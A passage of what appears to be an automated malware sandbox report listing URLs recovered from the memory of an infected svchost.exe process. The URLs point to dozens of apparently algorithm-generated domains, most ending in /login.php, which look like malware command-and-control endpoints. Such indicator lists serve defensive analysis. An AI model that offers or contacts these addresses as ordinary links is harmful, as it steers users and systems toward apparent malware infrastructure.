    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysynun.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695430448.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760518250.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://lysynur.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863298111.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1838364731.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1839816326.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861550125.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861625572.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysysod.com/login.php
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysytoj.com/
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyvax.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878115025.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901301890.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1877345460.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901694088.0000000002F93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysywon.com/login.php
    Source: svchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942144027.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942146335.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1941306940.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2182717777.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysywyd.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyxar.com/H
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091995521.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854237093.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1841035752.0000000008A21000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844516038.000000000089C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lysyxux.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1972923642.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvylyx.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2109717439.0000000008A1F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynen.com/
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynen.com/H
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875670976.0000000002F0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynen.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvynid.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvysur.com/http://galyros.com/P
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvysur.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyvix.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvywar.com/
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976182550.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978180156.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993354280.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1722986918.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993170476.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1718521594.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyvyxor.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1936324582.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyfuj.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780390704.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyjaj.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2262863272.0000000004C42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263826515.0000000004C44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxylyj.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863298111.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2090626154.0000000008A15000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2099585241.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847975056.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091999156.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092789966.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861550125.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2861625572.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863304297.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxynyx.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxysun.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxytex.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyvoj.com/
    Source: svchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946099887.0000000002F62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945543952.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyvyn.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxywen.com/0
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960930667.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965579567.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxywen.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyxyd.com/http://pufywil.com/http://vowygem.com/http://vofyqit.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyxyd.com/http://qeqyfaq.com/http://gaqyfah.com/http://gaqyfah.com/http://gahykih.com/http:
